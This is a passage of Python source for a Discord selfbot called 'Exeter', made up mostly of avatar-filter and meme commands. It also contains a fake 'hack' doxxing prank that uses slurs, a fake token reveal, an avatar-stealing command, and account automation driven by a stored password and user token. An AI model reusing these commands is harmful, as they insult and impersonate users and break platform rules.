aiohttp.ClientSession() as session: 1176 | async with session.get(str(res['message'])) as resp: 1177 | image = await resp.read() 1178 | with io.BytesIO(image) as file: 1179 | await ctx.send(file=discord.File(file, f"exeter_magik.png")) 1180 | except: 1181 | await ctx.send(res['message']) 1182 | else: 1183 | avatar = str(user.avatar_url_as(format="png")) 1184 | endpoint += avatar 1185 | r = requests.get(endpoint) 1186 | res = r.json() 1187 | try: 1188 | async with aiohttp.ClientSession() as session: 1189 | async with session.get(str(res['message'])) as resp: 1190 | image = await resp.read() 1191 | with io.BytesIO(image) as file: 1192 | await ctx.send(file=discord.File(file, f"exeter_magik.png")) 1193 | except: 1194 | await ctx.send(res['message']) 1195 | 1196 | 1197 | @Exeter.command(aliases=['markasread', 'ack']) 1198 | async def read(ctx): 1199 | await ctx.message.delete() 1200 | for guild in Exeter.guilds: 1201 | await guild.ack() 1202 | 1203 | 1204 | @Exeter.command(aliases=["deepfry"]) 1205 | async def fry(ctx, user: discord.Member = None): 1206 | await ctx.message.delete() 1207 | endpoint = "https://nekobot.xyz/api/imagegen?type=deepfry&image=" 1208 | if user is None: 1209 | avatar = str(ctx.author.avatar_url_as(format="png")) 1210 | endpoint += avatar 1211 | r = requests.get(endpoint) 1212 | res = r.json() 1213 | try: 1214 | async with aiohttp.ClientSession() as session: 1215 | async with session.get(str(res['message'])) as resp: 1216 | image = await resp.read() 1217 | with io.BytesIO(image) as file: 1218 | await ctx.send(file=discord.File(file, f"exeter_fry.png")) 1219 | except: 1220 | await ctx.send(res['message']) 1221 | else: 1222 | avatar = str(user.avatar_url_as(format="png")) 1223 | endpoint += avatar 1224 | r = requests.get(endpoint) 1225 | res = r.json() 1226 | try: 1227 | async with aiohttp.ClientSession() as session: 1228 | async with session.get(str(res['message'])) as resp: 1229 | image = await resp.read() 1230 | with io.BytesIO(image) as file: 1231 | await ctx.send(file=discord.File(file, f"exeter_fry.png")) 1232 | except: 1233 | await ctx.send(res['message']) 1234 | 1235 | 1236 | @Exeter.command() 1237 | async def blur(ctx, user: discord.Member = None): 1238 | await ctx.message.delete() 1239 | endpoint = "https://api.alexflipnote.dev/filter/blur?image=" 1240 | if user is None: 1241 | avatar = str(ctx.author.avatar_url_as(format="png")) 1242 | endpoint += avatar 1243 | try: 1244 | async with aiohttp.ClientSession() as session: 1245 | async with session.get(endpoint) as resp: 1246 | image = await resp.read() 1247 | with io.BytesIO(image) as file: 1248 | await ctx.send(file=discord.File(file, f"exeter_blur.png")) 1249 | except: 1250 | await ctx.send(endpoint) 1251 | else: 1252 | avatar = str(user.avatar_url_as(format="png")) 1253 | endpoint += avatar 1254 | try: 1255 | async with aiohttp.ClientSession() as session: 1256 | async with session.get(endpoint) as resp: 1257 | image = await resp.read() 1258 | with io.BytesIO(image) as file: 1259 | await ctx.send(file=discord.File(file, f"exeter_blur.png")) 1260 | except: 1261 | await ctx.send(endpoint) 1262 | 1263 | 1264 | @Exeter.command(aliases=["pixel"]) 1265 | async def pixelate(ctx, user: discord.Member = None): 1266 | await ctx.message.delete() 1267 | endpoint = "https://api.alexflipnote.dev/filter/pixelate?image=" 1268 | if user is None: 1269 | avatar = str(ctx.author.avatar_url_as(format="png")) 1270 | endpoint += avatar 1271 | try: 1272 | async with aiohttp.ClientSession() as session: 1273 | async with session.get(endpoint) as resp: 1274 | image = await resp.read() 1275 | with io.BytesIO(image) as file: 1276 | await ctx.send(file=discord.File(file, f"exeter_blur.png")) 1277 | except: 1278 | await ctx.send(endpoint) 1279 | else: 1280 | avatar = str(user.avatar_url_as(format="png")) 1281 | endpoint += avatar 1282 | try: 1283 | async with aiohttp.ClientSession() as session: 1284 | async with session.get(endpoint) as resp: 1285 | image = await resp.read() 1286 | with io.BytesIO(image) as file: 1287 | await ctx.send(file=discord.File(file, f"exeter_blur.png")) 1288 | except: 1289 | await ctx.send(endpoint) 1290 | 1291 | 1292 | @Exeter.command() 1293 | async def supreme(ctx, *, args=None): 1294 | await ctx.message.delete() 1295 | if args is None: 1296 | await ctx.send("missing parameters") 1297 | return 1298 | endpoint = "https://api.alexflipnote.dev/supreme?text=" + args.replace(" ", "%20") 1299 | try: 1300 | async with aiohttp.ClientSession() as session: 1301 | async with session.get(endpoint) as resp: 1302 | image = await resp.read() 1303 | with io.BytesIO(image) as file: 1304 | await ctx.send(file=discord.File(file, f"exeter_supreme.png")) 1305 | except: 1306 | await ctx.send(endpoint) 1307 | 1308 | 1309 | @Exeter.command() 1310 | async def darksupreme(ctx, *, args=None): 1311 | await ctx.message.delete() 1312 | if args is None: 1313 | await ctx.send("missing parameters") 1314 | return 1315 | endpoint = "https://api.alexflipnote.dev/supreme?text=" + args.replace(" ", "%20") + "&dark=true" 1316 | try: 1317 | async with aiohttp.ClientSession() as session: 1318 | async with session.get(endpoint) as resp: 1319 | image = await resp.read() 1320 | with io.BytesIO(image) as file: 1321 | await ctx.send(file=discord.File(file, f"exeter_dark_supreme.png")) 1322 | except: 1323 | await ctx.send(endpoint) 1324 | 1325 | 1326 | @Exeter.command(aliases=["facts"]) 1327 | async def fax(ctx, *, args=None): 1328 | await ctx.message.delete() 1329 | if args is None: 1330 | await ctx.send("missing parameters") 1331 | return 1332 | endpoint = "https://api.alexflipnote.dev/facts?text=" + args.replace(" ", "%20") 1333 | try: 1334 | async with aiohttp.ClientSession() as session: 1335 | async with session.get(endpoint) as resp: 1336 | image = await resp.read() 1337 | with io.BytesIO(image) as file: 1338 | await ctx.send(file=discord.File(file, f"exeter_facts.png")) 1339 | except: 1340 | await ctx.send(endpoint) 1341 | 1342 | 1343 | @Exeter.command(aliases=["blurp"]) 1344 | async def blurpify(ctx, user: discord.Member = None): 1345 | await ctx.message.delete() 1346 | endpoint = "https://nekobot.xyz/api/imagegen?type=blurpify&image=" 1347 | if user is None: 1348 | avatar = str(ctx.author.avatar_url_as(format="png")) 1349 | endpoint += avatar 1350 | r = requests.get(endpoint) 1351 | res = r.json() 1352 | try: 1353 | async with aiohttp.ClientSession() as session: 1354 | async with session.get(str(res['message'])) as resp: 1355 | image = await resp.read() 1356 | with io.BytesIO(image) as file: 1357 | await ctx.send(file=discord.File(file, f"exeter_blurpify.png")) 1358 | except: 1359 | await ctx.send(res['message']) 1360 | else: 1361 | avatar = str(user.avatar_url_as(format="png")) 1362 | endpoint += avatar 1363 | r = requests.get(endpoint) 1364 | res = r.json() 1365 | try: 1366 | async with aiohttp.ClientSession() as session: 1367 | async with session.get(str(res['message'])) as resp: 1368 | image = await resp.read() 1369 | with io.BytesIO(image) as file: 1370 | await ctx.send(file=discord.File(file, f"exeter_blurpify.png")) 1371 | except: 1372 | await ctx.send(res['message']) 1373 | 1374 | 1375 | @Exeter.command() 1376 | async def invert(ctx, user: discord.Member = None): 1377 | await ctx.message.delete() 1378 | endpoint = "https://api.alexflipnote.dev/filter/invert?image=" 1379 | if user is None: 1380 | avatar = str(ctx.author.avatar_url_as(format="png")) 1381 | endpoint += avatar 1382 | try: 1383 | async with aiohttp.ClientSession() as session: 1384 | async with session.get(endpoint) as resp: 1385 | image = await resp.read() 1386 | with io.BytesIO(image) as file: 1387 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1388 | except: 1389 | await ctx.send(endpoint) 1390 | else: 1391 | avatar = str(user.avatar_url_as(format="png")) 1392 | endpoint += avatar 1393 | try: 1394 | async with aiohttp.ClientSession() as session: 1395 | async with session.get(endpoint) as resp: 1396 | image = await resp.read() 1397 | with io.BytesIO(image) as file: 1398 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1399 | except: 1400 | await ctx.send(endpoint) 1401 | 1402 | 1403 | @Exeter.command() 1404 | async def gay(ctx, user: discord.Member = None): 1405 | await ctx.message.delete() 1406 | endpoint = "https://api.alexflipnote.dev/filter/gay?image=" 1407 | if user is None: 1408 | avatar = str(ctx.author.avatar_url_as(format="png")) 1409 | endpoint += avatar 1410 | try: 1411 | async with aiohttp.ClientSession() as session: 1412 | async with session.get(endpoint) as resp: 1413 | image = await resp.read() 1414 | with io.BytesIO(image) as file: 1415 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1416 | except: 1417 | await ctx.send(endpoint) 1418 | else: 1419 | avatar = str(user.avatar_url_as(format="png")) 1420 | endpoint += avatar 1421 | try: 1422 | async with aiohttp.ClientSession() as session: 1423 | async with session.get(endpoint) as resp: 1424 | image = await resp.read() 1425 | with io.BytesIO(image) as file: 1426 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1427 | except: 1428 | await ctx.send(endpoint) 1429 | 1430 | 1431 | @Exeter.command() 1432 | async def communist(ctx, user: discord.Member = None): 1433 | await ctx.message.delete() 1434 | endpoint = "https://api.alexflipnote.dev/filter/communist?image=" 1435 | if user is None: 1436 | avatar = str(ctx.author.avatar_url_as(format="png")) 1437 | endpoint += avatar 1438 | try: 1439 | async with aiohttp.ClientSession() as session: 1440 | async with session.get(endpoint) as resp: 1441 | image = await resp.read() 1442 | with io.BytesIO(image) as file: 1443 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1444 | except: 1445 | await ctx.send(endpoint) 1446 | else: 1447 | avatar = str(user.avatar_url_as(format="png")) 1448 | endpoint += avatar 1449 | try: 1450 | async with aiohttp.ClientSession() as session: 1451 | async with session.get(endpoint) as resp: 1452 | image = await resp.read() 1453 | with io.BytesIO(image) as file: 1454 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1455 | except: 1456 | await ctx.send(endpoint) 1457 | 1458 | 1459 | @Exeter.command() 1460 | async def snow(ctx, user: discord.Member = None): 1461 | await ctx.message.delete() 1462 | endpoint = "https://api.alexflipnote.dev/filter/snow?image=" 1463 | if user is None: 1464 | avatar = str(ctx.author.avatar_url_as(format="png")) 1465 | endpoint += avatar 1466 | try: 1467 | async with aiohttp.ClientSession() as session: 1468 | async with session.get(endpoint) as resp: 1469 | image = await resp.read() 1470 | with io.BytesIO(image) as file: 1471 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1472 | except: 1473 | await ctx.send(endpoint) 1474 | else: 1475 | avatar = str(user.avatar_url_as(format="png")) 1476 | endpoint += avatar 1477 | try: 1478 | async with aiohttp.ClientSession() as session: 1479 | async with session.get(endpoint) as resp: 1480 | image = await resp.read() 1481 | with io.BytesIO(image) as file: 1482 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1483 | except: 1484 | await ctx.send(endpoint) 1485 | 1486 | 1487 | @Exeter.command(aliases=["jpeg"]) 1488 | async def jpegify(ctx, user: discord.Member = None): 1489 | await ctx.message.delete() 1490 | endpoint = "https://api.alexflipnote.dev/filter/jpegify?image=" 1491 | if user is None: 1492 | avatar = str(ctx.author.avatar_url_as(format="png")) 1493 | endpoint += avatar 1494 | try: 1495 | async with aiohttp.ClientSession() as session: 1496 | async with session.get(endpoint) as resp: 1497 | image = await resp.read() 1498 | with io.BytesIO(image) as file: 1499 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1500 | except: 1501 | await ctx.send(endpoint) 1502 | else: 1503 | avatar = str(user.avatar_url_as(format="png")) 1504 | endpoint += avatar 1505 | try: 1506 | async with aiohttp.ClientSession() as session: 1507 | async with session.get(endpoint) as resp: 1508 | image = await resp.read() 1509 | with io.BytesIO(image) as file: 1510 | await ctx.send(file=discord.File(file, f"exeter_invert.png")) 1511 | except: 1512 | await ctx.send(endpoint) 1513 | 1514 | 1515 | @Exeter.command(aliases=["pornhublogo", "phlogo"]) 1516 | async def pornhub(ctx, word1=None, word2=None): 1517 | await ctx.message.delete() 1518 | if word1 is None or word2 is None: 1519 | await ctx.send("missing parameters") 1520 | return 1521 | endpoint = "https://api.alexflipnote.dev/pornhub?text={text-1}&text2={text-2}".replace("{text-1}", word1).replace( 1522 | "{text-2}", word2) 1523 | try: 1524 | async with aiohttp.ClientSession() as session: 1525 | async with session.get(endpoint) as resp: 1526 | image = await resp.read() 1527 | with io.BytesIO(image) as file: 1528 | await ctx.send(file=discord.File(file, f"exeter_pornhub_logo.png")) 1529 | except: 1530 | await ctx.send(endpoint) 1531 | 1532 | 1533 | @Exeter.command(aliases=["pornhubcomment", 'phc']) 1534 | async def phcomment(ctx, user: str = None, *, args=None): 1535 | await ctx.message.delete() 1536 | if user is None or args is None: 1537 | await ctx.send("missing parameters") 1538 | return 1539 | endpoint = "https://nekobot.xyz/api/imagegen?type=phcomment&text=" + args + "&username=" + user + "&image=" + str( 1540 | ctx.author.avatar_url_as(format="png")) 1541 | r = requests.get(endpoint) 1542 | res = r.json() 1543 | try: 1544 | async with aiohttp.ClientSession() as session: 1545 | async with session.get(res["message"]) as resp: 1546 | image = await resp.read() 1547 | with io.BytesIO(image) as file: 1548 | await ctx.send(file=discord.File(file, f"exeter_pornhub_comment.png")) 1549 | except: 1550 | await ctx.send(res["message"]) 1551 | 1552 | 1553 | @Exeter.command() 1554 | async def token(ctx, user: discord.Member = None): 1555 | await ctx.message.delete() 1556 | list = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", 1557 | "V", "W", "X", "Y", "Z", "_"'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'ñ', 'o', 1558 | 'p', 'q', 'r', 's', 't', 'u', 1559 | 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] 1560 | token = random.choices(list, k=59) 1561 | print(token) 1562 | if user is None: 1563 | user = ctx.author 1564 | await ctx.send(user.mention + "'s token is " + ''.join(token)) 1565 | else: 1566 | await ctx.send(user.mention + "'s token is " + "".join(token)) 1567 | 1568 | 1569 | @Exeter.command() 1570 | async def hack(ctx, user: discord.Member = None): 1571 | await ctx.message.delete() 1572 | gender = ["Male", "Female", "Trans", "Other", "Retard"] 1573 | age = str(random.randrange(10, 25)) 1574 | height = ['4\'6\"', '4\'7\"', '4\'8\"', '4\'9\"', '4\'10\"', '4\'11\"', '5\'0\"', '5\'1\"', '5\'2\"', '5\'3\"', 1575 | '5\'4\"', '5\'5\"', 1576 | '5\'6\"', '5\'7\"', '5\'8\"', '5\'9\"', '5\'10\"', '5\'11\"', '6\'0\"', '6\'1\"', '6\'2\"', '6\'3\"', 1577 | '6\'4\"', '6\'5\"', 1578 | '6\'6\"', '6\'7\"', '6\'8\"', '6\'9\"', '6\'10\"', '6\'11\"'] 1579 | weight = str(random.randrange(60, 300)) 1580 | hair_color = ["Black", "Brown", "Blonde", "White", "Gray", "Red"] 1581 | skin_color = ["White", "Pale", "Brown", "Black", "Light-Skin"] 1582 | religion = ["Christian", "Muslim", "Atheist", "Hindu", "Buddhist", "Jewish"] 1583 | sexuality = ["Straight", "Gay", "Homo", "Bi", "Bi-Sexual", "Lesbian", "Pansexual"] 1584 | education = ["High School", "College", "Middle School", "Elementary School", "Pre School", 1585 | "Retard never went to school LOL"] 1586 | ethnicity = ["White", "African American", "Asian", "Latino", "Latina", "American", "Mexican", "Korean", "Chinese", 1587 | "Arab", "Italian", "Puerto Rican", "Non-Hispanic", "Russian", "Canadian", "European", "Indian"] 1588 | occupation = ["Retard has no job LOL", "Certified discord retard", "Janitor", "Police Officer", "Teacher", 1589 | "Cashier", "Clerk", "Waiter", "Waitress", "Grocery Bagger", "Retailer", "Sales-Person", "Artist", 1590 | "Singer", "Rapper", "Trapper", "Discord Thug", "Gangster", "Discord Packer", "Mechanic", "Carpenter", 1591 | "Electrician", "Lawyer", "Doctor", "Programmer", "Software Engineer", "Scientist"] 1592 | salary = ["Retard makes no money LOL", "$" + str(random.randrange(0, 1000)), '<$50,000', '<$75,000', "$100,000", 1593 | "$125,000", "$150,000", "$175,000", 1594 | "$200,000+"] 1595 | location = ["Retard lives in his mom's basement LOL", "America", "United States", "Europe", "Poland", "Mexico", 1596 | "Russia", "Pakistan", "India", 1597 | "Some random third world country", "Canada", "Alabama", "Alaska", "Arizona", "Arkansas", "California", 1598 | "Colorado", "Connecticut", "Delaware", "Florida", "Georgia", "Hawaii", "Idaho", "Illinois", "Indiana", 1599 | "Iowa", "Kansas", "Kentucky", "Louisiana", "Maine", "Maryland", "Massachusetts", "Michigan", 1600 | "Minnesota", "Mississippi", "Missouri", "Montana", "Nebraska", "Nevada", "New Hampshire", "New Jersey", 1601 | "New Mexico", "New York", "North Carolina", "North Dakota", "Ohio", "Oklahoma", "Oregon", 1602 | "Pennsylvania", "Rhode Island", "South Carolina", "South Dakota", "Tennessee", "Texas", "Utah", 1603 | "Vermont", "Virginia", "Washington", "West Virginia", "Wisconsin", "Wyoming"] 1604 | email = ["@gmail.com", "@yahoo.com", "@hotmail.com", "@outlook.com", "@protonmail.com", "@disposablemail.com", 1605 | "@aol.com", "@edu.com", "@icloud.com", "@gmx.net", "@yandex.com"] 1606 | dob = f'{random.randrange(1, 13)}/{random.randrange(1, 32)}/{random.randrange(1950, 2021)}' 1607 | name = ['James Smith', "Michael Smith", "Robert Smith", "Maria Garcia", "David Smith", "Maria Rodriguez", 1608 | "Mary Smith", "Maria Hernandez", "Maria Martinez", "James Johnson", "Catherine Smoaks", "Cindi Emerick", 1609 | "Trudie Peasley", "Josie Dowler", "Jefferey Amon", "Kyung Kernan", "Lola Barreiro", 1610 | "Barabara Nuss", "Lien Barmore", "Donnell Kuhlmann", "Geoffrey Torre", "Allan Craft", 1611 | "Elvira Lucien", "Jeanelle Orem", "Shantelle Lige", "Chassidy Reinhardt", "Adam Delange", 1612 | "Anabel Rini", "Delbert Kruse", "Celeste Baumeister", "Jon Flanary", "Danette Uhler", "Xochitl Parton", 1613 | "Derek Hetrick", "Chasity Hedge", "Antonia Gonsoulin", "Tod Kinkead", "Chastity Lazar", "Jazmin Aumick", 1614 | "Janet Slusser", "Junita Cagle", "Stepanie Blandford", "Lang Schaff", "Kaila Bier", "Ezra Battey", 1615 | "Bart Maddux", "Shiloh Raulston", "Carrie Kimber", "Zack Polite", "Marni Larson", "Justa Spear"] 1616 | phone = f'({random.randrange(0, 10)}{random.randrange(0, 10)}{random.randrange(0, 10)})-{random.randrange(0, 10)}{random.randrange(0, 10)}{random.randrange(0, 10)}-{random.randrange(0, 10)}{random.randrange(0, 10)}{random.randrange(0, 10)}{random.randrange(0, 10)}' 1617 | if user is None: 1618 | user = ctx.author 1619 | password = ['password', '123', 'mypasswordispassword', user.name + "iscool123", user.name + "isdaddy", 1620 | "daddy" + user.name, "ilovediscord", "i<3discord", "furryporn456", "secret", "123456789", "apple49", 1621 | "redskins32", "princess", "dragon", "password1", "1q2w3e4r", "ilovefurries"] 1622 | message = await ctx.send(f"`Hacking {user}...\n`") 1623 | await asyncio.sleep(1) 1624 | await message.edit(content=f"`Hacking {user}...\nHacking into the mainframe...\n`") 1625 | await asyncio.sleep(1) 1626 | await message.edit(content=f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...`") 1627 | await asyncio.sleep(1) 1628 | await message.edit( 1629 | content=f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\nCracking SSN information...\n`") 1630 | await asyncio.sleep(1) 1631 | await message.edit( 1632 | content=f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\nCracking SSN information...\nBruteforcing love life details...`") 1633 | await asyncio.sleep(1) 1634 | await message.edit( 1635 | content=f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\nCracking SSN information...\nBruteforcing love life details...\nFinalizing life-span dox details\n`") 1636 | await asyncio.sleep(1) 1637 | await message.edit( 1638 | content=f"```Successfully hacked {user}\nName: {random.choice(name)}\nGender: {random.choice(gender)}\nAge: {age}\nHeight: {random.choice(height)}\nWeight: {weight}\nHair Color: {random.choice(hair_color)}\nSkin Color: {random.choice(skin_color)}\nDOB: {dob}\nLocation: {random.choice(location)}\nPhone: {phone}\nE-Mail: {user.name + random.choice(email)}\nPasswords: {random.choices(password, k=3)}\nOccupation: {random.choice(occupation)}\nAnnual Salary: {random.choice(salary)}\nEthnicity: {random.choice(ethnicity)}\nReligion: {random.choice(religion)}\nSexuality: {random.choice(sexuality)}\nEducation: {random.choice(education)}```") 1639 | else: 1640 | password = ['password', '123', 'mypasswordispassword', user.name + "iscool123", user.name + "isdaddy", 1641 | "daddy" + user.name, "ilovediscord", "i<3discord", "furryporn456", "secret", "123456789", "apple49", 1642 | "redskins32", "princess", "dragon", "password1", "1q2w3e4r", "ilovefurries"] 1643 | message = await ctx.send(f"`Hacking {user}...\n`") 1644 | await asyncio.sleep(1) 1645 | await message.edit(content=f"`Hacking {user}...\nHacking into the mainframe...\n`") 1646 | await asyncio.sleep(1) 1647 | await message.edit(content=f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...`") 1648 | await asyncio.sleep(1) 1649 | await message.edit( 1650 | content=f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\nCracking SSN information...\n`") 1651 | await asyncio.sleep(1) 1652 | await message.edit( 1653 | content=f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\nCracking SSN information...\nBruteforcing love life details...`") 1654 | await asyncio.sleep(1) 1655 | await message.edit( 1656 | content=f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\nCracking SSN information...\nBruteforcing love life details...\nFinalizing life-span dox details\n`") 1657 | await asyncio.sleep(1) 1658 | await message.edit( 1659 | content=f"```Successfully hacked {user}\nName: {random.choice(name)}\nGender: {random.choice(gender)}\nAge: {age}\nHeight: {random.choice(height)}\nWeight: {weight}\nHair Color: {random.choice(hair_color)}\nSkin Color: {random.choice(skin_color)}\nDOB: {dob}\nLocation: {random.choice(location)}\nPhone: {phone}\nE-Mail: {user.name + random.choice(email)}\nPasswords: {random.choices(password, k=3)}\nOccupation: {random.choice(occupation)}\nAnnual Salary: {random.choice(salary)}\nEthnicity: {random.choice(ethnicity)}\nReligion: {random.choice(religion)}\nSexuality: {random.choice(sexuality)}\nEducation: {random.choice(education)}```") 1660 | 1661 | 1662 | @Exeter.command(aliases=["reversesearch", "anticatfish", "catfish"]) 1663 | async def revav(ctx, user: discord.Member = None): 1664 | await ctx.message.delete() 1665 | if user is None: 1666 | user = ctx.author 1667 | try: 1668 | em = discord.Embed(description=f"https://images.google.com/searchbyimage?image_url={user.avatar_url}") 1669 | await ctx.send(embed=em) 1670 | except Exception as e: 1671 | print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}" + Fore.RESET) 1672 | 1673 | 1674 | @Exeter.command(aliases=['pfp', 'avatar']) 1675 | async def av(ctx, *, user: discord.Member = None): 1676 | await ctx.message.delete() 1677 | format = "gif" 1678 | user = user or ctx.author 1679 | if user.is_avatar_animated() != True: 1680 | format = "png" 1681 | avatar = user.avatar_url_as(format=format if format != "gif" else None) 1682 | async with aiohttp.ClientSession() as session: 1683 | async with session.get(str(avatar)) as resp: 1684 | image = await resp.read() 1685 | with io.BytesIO(image) as file: 1686 | await ctx.send(file=discord.File(file, f"Avatar.{format}")) 1687 | 1688 | 1689 | @Exeter.command() 1690 | async def whois(ctx, *, user: discord.Member = None): 1691 | await ctx.message.delete() 1692 | if user is None: 1693 | user = ctx.author 1694 | if isinstance(ctx.message.channel, discord.Guild): 1695 | date_format = "%a, %d %b %Y %I:%M %p" 1696 | em = discord.Embed(description=user.mention) 1697 | em.set_author(name=str(user), icon_url=user.avatar_url) 1698 | em.set_thumbnail(url=user.avatar_url) 1699 | em.add_field(name="Registered", value=user.created_at.strftime(date_format)) 1700 | em.add_field(name="Joined", value=user.joined_at.strftime(date_format)) 1701 | members = sorted(ctx.guild.members, key=lambda m: m.joined_at) 1702 | em.add_field(name="Join position", value=str(members.index(user) + 1)) 1703 | if len(user.roles) > 1: 1704 | role_string = ' '.join([r.mention for r in user.roles][1:]) 1705 | em.add_field(name="Roles [{}]".format(len(user.roles) - 1), value=role_string, inline=False) 1706 | perm_string = ', '.join([str(p[0]).replace("_", " ").title() for p in user.guild_permissions if p[1]]) 1707 | em.add_field(name="Permissions", value=perm_string, inline=False) 1708 | em.set_footer(text='ID: ' + str(user.id)) 1709 | return await ctx.send(embed=em) 1710 | else: 1711 | date_format = "%a, %d %b %Y %I:%M %p" 1712 | em = discord.Embed(description=user.mention) 1713 | em.set_author(name=str(user), icon_url=user.avatar_url) 1714 | em.set_thumbnail(url=user.avatar_url) 1715 | em.add_field(name="Created", value=user.created_at.strftime(date_format)) 1716 | em.set_footer(text='ID: ' + str(user.id)) 1717 | return await ctx.send(embed=em) 1718 | 1719 | 1720 | @Exeter.command(aliases=["del", "quickdel"]) 1721 | async def quickdelete(ctx, *, args): 1722 | await ctx.message.delete() 1723 | await ctx.send(args, delete_after=1) 1724 | 1725 | 1726 | @Exeter.command() 1727 | async def minesweeper(ctx, size: int = 5): 1728 | await ctx.message.delete() 1729 | size = max(min(size, 8), 2) 1730 | bombs = [[random.randint(0, size - 1), random.randint(0, size - 1)] for x in range(int(size - 1))] 1731 | is_on_board = lambda x, y: 0 <= x < size and 0 <= y < size 1732 | has_bomb = lambda x, y: [i for i in bombs if i[0] == x and i[1] == y] 1733 | message = "**Click to play**:\n" 1734 | for y in range(size): 1735 | for x in range(size): 1736 | tile = "||{}||".format(chr(11036)) 1737 | if has_bomb(x, y): 1738 | tile = "||{}||".format(chr(128163)) 1739 | else: 1740 | count = 0 1741 | for xmod, ymod in m_offets: 1742 | if is_on_board(x + xmod, y + ymod) and has_bomb(x + xmod, y + ymod): 1743 | count += 1 1744 | if count != 0: 1745 | tile = "||{}||".format(m_numbers[count - 1]) 1746 | message += tile 1747 | message += "\n" 1748 | await ctx.send(message) 1749 | 1750 | 1751 | @Exeter.command(name='1337speak', aliases=['leetspeak']) 1752 | async def _1337_speak(ctx, *, text): 1753 | await ctx.message.delete() 1754 | text = text.replace('a', '4').replace('A', '4').replace('e', '3') \ 1755 | .replace('E', '3').replace('i', '!').replace('I', '!') \ 1756 | .replace('o', '0').replace('O', '0').replace('u', '|_|').replace('U', '|_|') 1757 | await ctx.send(f'{text}') 1758 | 1759 | 1760 | @Exeter.command() 1761 | async def ghost(ctx): 1762 | await ctx.message.delete() 1763 | if config.get('password') == 'password-here': 1764 | print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file" + Fore.RESET) 1765 | else: 1766 | password = config.get('password') 1767 | with open('Images/Avatars/Transparent.png', 'rb') as f: 1768 | try: 1769 | await Exeter.user.edit(password=password, username="ٴٴٴٴ", avatar=f.read()) 1770 | except discord.HTTPException as e: 1771 | print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}" + Fore.RESET) 1772 | 1773 | 1774 | @Exeter.command(aliases=['pfpget', 'stealpfp']) 1775 | async def pfpsteal(ctx, user: discord.Member): 1776 | await ctx.message.delete() 1777 | if config.get('password') == 'password-here': 1778 | print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file" + Fore.RESET) 1779 | else: 1780 | password = config.get('password') 1781 | with open('Images/Avatars/Stolen/Stolen.png', 'wb') as f: 1782 | r = requests.get(user.avatar_url, stream=True) 1783 | for block in r.iter_content(1024): 1784 | if not block: 1785 | break 1786 | f.write(block) 1787 | try: 1788 | Image.open('Images/Avatars/Stolen/Stolen.png').convert('RGB') 1789 | with open('Images/Avatars/Stolen/Stolen.png', 'rb') as f: 1790 | await Exeter.user.edit(password=password, avatar=f.read()) 1791 | except discord.HTTPException as e: 1792 | print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}" + Fore.RESET) 1793 | 1794 | 1795 | @Exeter.command(name='set-pfp', aliases=['setpfp', 'pfpset,"changepfp']) 1796 | async def _set_pfp(ctx, *, url): 1797 | await ctx.message.delete() 1798 | if config.get('password') == 'password-here': 1799 | print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file" + Fore.RESET) 1800 | else: 1801 | password = config.get('password') 1802 | with open('Images/Avatars/PFP-1.png', 'wb') as f: 1803 | r = requests.get(url, stream=True) 1804 | for block in r.iter_content(1024): 1805 | if not block: 1806 | break 1807 | f.write(block) 1808 | try: 1809 | Image.open('Images/Avatars/PFP-1.png').convert('RGB') 1810 | with open('Images/Avatars/PFP-1.png', 'rb') as f: 1811 | await Exeter.user.edit(password=password, avatar=f.read()) 1812 | except discord.HTTPException as e: 1813 | print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}" + Fore.RESET) 1814 | 1815 | 1816 | @Exeter.command(aliases=['wouldyourather', 'would-you-rather', 'wyrq']) 1817 | async def wyr(ctx): # b'\xfc' 1818 | await ctx.message.delete() 1819 | r = requests.get('https://www.conversationstarters.com/wyrqlist.php').text 1820 | soup = bs4(r, 'html.parser') 1821 | qa = soup.find(id='qa').text 1822 | qb = soup.find(id='qb').text 1823 | message = await ctx.send(f"{qa}\nor\n{qb}") 1824 | await message.add_reaction("🅰") 1825 | await message.add_reaction("🅱") 1826 | 1827 | 1828 | @Exeter.command() 1829 | async def topic(ctx): # b'\xfc' 1830 | await ctx.message.delete() 1831 | r = requests.get('https://www.conversationstarters.com/generator.php').content 1832 | soup = bs4(r, 'html.parser') 1833 | topic = soup.find(id="random").text 1834 | await ctx.send(topic) 1835 | 1836 | 1837 | @Exeter.command(aliases=['dong', 'penis']) 1838 | async def dick(ctx, *, user: discord.Member = None): 1839 | await ctx.message.delete() 1840 | if user is None: 1841 | user = ctx.author 1842 | size = random.randint(1, 15) 1843 | dong = "" 1844 | for _i in range(0, size): 1845 | dong += "=" 1846 | await ctx.send(f"{user}'s Dick size\n8{dong}D") 1847 | 1848 | 1849 | @Exeter.command(aliases=['changehypesquad']) 1850 | async def hypesquad(ctx, house): 1851 | await ctx.message.delete() 1852 | request = requests.Session() 1853 | headers = { 1854 | 'Authorization': token, 1855 | 'Content-Type': 'application/json', 1856 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; 